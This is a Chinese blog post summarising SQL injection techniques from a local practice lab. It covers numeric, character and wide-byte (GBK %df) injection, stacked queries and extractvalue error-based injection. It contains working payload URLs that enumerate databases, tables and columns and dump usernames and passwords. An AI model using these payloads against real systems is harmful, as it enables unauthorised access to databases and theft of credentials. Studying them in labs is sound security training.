SQL注入小结

SQL注入小结
最重要的是数据库的操作
①union select

union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='库名'

②select

select table_name from information_schema.tables where table_schema='库名'

01——数字型
http://localhost:32774/sqli/01.php?id=1’
发现有报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

猜测语句
WHERE id=$id LIMIT 0,1
验证一下
爆库

urlhttp://localhost:32774/sqli/01.php?id=1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

爆表

http://localhost:32774/sqli/01.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

爆列

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=database()%20and%20table_name=%27users%27)%20--+

爆数据

http://localhost:32774/sqli/01.php?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) fromusers)--+

02-字符型注入
主要有单引号闭合?id=1’)#,双引号闭合?id=1")#

http://localhost:32774/sqli/02.php?id=1’ or ‘1=2–’
报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’ or ’1=2–’’ LIMIT 0,1’ at line 1

看源码,发现SET NAMES gbk猜测宽字节注入
尝试

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,3 --+

爆库

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

爆表

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

爆数据

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) --+

这里除了前面通过宽字节来让mysql以为是个汉字绕过检查其他和第一
题一样

03——堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
通常我们在发现回显中出现一串正则过滤表达式以后,发现大部分SQL注入所需要的关键词无法使用,这时候就要寻找堆叠注入的存在。
通常堆叠注入有一种比较有特征的回显array(2){[0]=>string(1)“1”}这样的结构组合

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

查找库名

1';show databases;#

查找表名

1';show tables;#

查列名

0';show columns from *table*;#

04——报错注入
①extractvalue

and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema='security'limit 0,1),0x7e))--+

②updatexml
③使用burp的intruder模块进行大量数据的爆破

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值